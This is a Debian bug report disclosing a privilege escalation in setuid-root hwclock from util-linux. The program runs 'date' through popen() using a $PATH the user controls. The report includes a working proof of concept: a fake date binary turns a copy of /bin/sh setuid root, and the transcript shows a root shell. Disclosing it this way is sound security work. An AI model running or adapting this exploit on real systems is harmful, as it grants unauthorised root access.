Package: util-linux
Version: 2.26.2
Actually, all versions of util-linux are affected.
Hello, Federico Bento here.
During a recent assessment I have stumbled across a system which had
hwclock(8) setuid root
$ man hwclock | sed -n '223,231p'
Users access and setuid
Sometimes, you need to install hwclock setuid root. If you
want users other than the superuser to be able to display the clock
value using the direct ISA I/O
method, install it setuid root. If you have the /dev/rtc
interface on your system or are on a non-ISA system, there's probably
no need for users to use the
direct ISA I/O method, so don't bother.
In any case, hwclock will not allow you to set anything unless
you have the superuser real uid. (This is restriction is not
necessary if you haven't
installed setuid root, but it's there for now).
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920
"The program is designed to run setuid superuser, since we need to be able
to do direct I/O. (More to the point: we need permission to execute the
iopl() system call). (However, if you use one of the methods other than
direct ISA I/O to access the clock, no setuid is required)."
"program is designed to run setuid (in some situations)"
from util-linux/2.26.2-5/sys-utils/hwclock.c
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748
/* Quotes in date_opt would ruin the date command we construct. */
if (strchr(date_opt, '"') != NULL) {
warnx(_
("The value of the --date option is not a valid date.\n"
"In particular, it contains quotation marks."));
return 12;
}
sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
date_opt);
[...]
date_child_fp = popen(date_command, "r");
[...]
hwclock uses popen() to date_command which is 'date --date=\"%s\"
+seconds-into-epoch=%%s'
Exploiting is trivial, since $PATH is user-controlled
$ ls -l /usr/sbin/hwclock
-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
$ cat > date.c;gcc date.c -o date
main()
{
chown("/tmp/sploit", 0, 0);
chmod("/tmp/sploit", 04755);
}
^D
$ cp /bin/sh /tmp/sploit
$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
hwclock: The date command issued by hwclock returned unexpected results.
The command was:
date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
The response was:
hwclock: No usable set-to time. Cannot set clock.
$ /tmp/sploit
# id
euid=0(root) groups=0(root)
Notes:
Please note that this is possible on Debian-derived (and therefore
Ubuntu), because /bin/sh is provided by dash which does NOT make use
of privmode.
From a Tavis Ormandy's blog post:
488
489 if (running_setuid && privileged_mode == 0)
490 disable_priv_mode ();
491
Where disable_priv_mode () is defined as:
1202 void
1203 disable_priv_mode ()
1204 {
1205 setuid (current_user.uid);
1206 setgid (current_user.gid);
1207 current_user.euid = current_user.uid;
1208 current_user.egid = current_user.gid;
1209 }
On most modern Linux systems, /bin/sh is provided by bash.
As everyone who works in security quickly learns, bash will drop
privileges very early if ruid != euid unless -p switch is used.
This is surprisingly effective at mitigating some common vulnerability
classes and misconfigurations, and it has been around since mid 90's.
Indeed, Chet Ramey (bash author and maintainer) explains that the
purpose of this is to prevent "bogus system(3)/popen(3) calls in
setuid executables"
TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
command, meaning privilege escalation can occur since $PATH is
user-controlled.
----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org